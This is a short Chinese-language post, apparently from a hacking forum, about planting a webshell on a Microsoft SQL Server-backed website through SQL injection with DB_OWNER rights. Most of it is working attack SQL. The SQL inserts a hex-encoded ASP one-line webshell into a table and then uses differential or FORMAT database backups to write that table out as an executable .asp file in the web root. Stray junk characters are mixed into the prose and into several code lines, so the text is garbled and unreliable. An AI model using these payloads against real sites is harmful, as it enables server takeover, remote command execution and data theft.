DB_OWNER权限得到webshell的改进办法

admin

DB_OWNER权限得到webshell的两点改进:

减少备份文件大小，得到可执行的webshell成功率提高不少
8 f+ Q8 z  U8 P% O1 p一利用差异备份
& n) Y9 U7 K' \加一个参数WITH DIFFERENTIAL

1
2
, P  F* X6 b' C. l/ T3
) o) K& j. X. h2 l  j0 `5 ~; }4
6 \* p3 c: A% ~+ ^ declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
& V6 L, q" \: v* X  w/ l9 V2 [insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
! t+ K7 o& {1 G5 ]0 E加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
4 k* w( S5 ^8 `- ]0 |
1
2
3
4
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 ^* [% u: L- |* p: n$ a/ [create table [dbo].[xiaolu] ([cmd] [image]);
) p! m- M+ W8 A6 q( Zinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
, x+ y; E2 h5 h; i  t' W* q- }: Sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
) M* o' c# t0 I0 Z
总的来说就是那么简单几句,下面以备份数据库model为例子
1

$ f: Z. a2 _# C9 t' t' z1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
, p" K; L5 x+ f* r" `6 C
4 p% ?; \9 N  Z* o9 |5 m# a2
+ |' \/ F5 D4 H. b- v8 B' ^, E
1
id=1;backup database model to disk='你的路径‘ with differential,format;--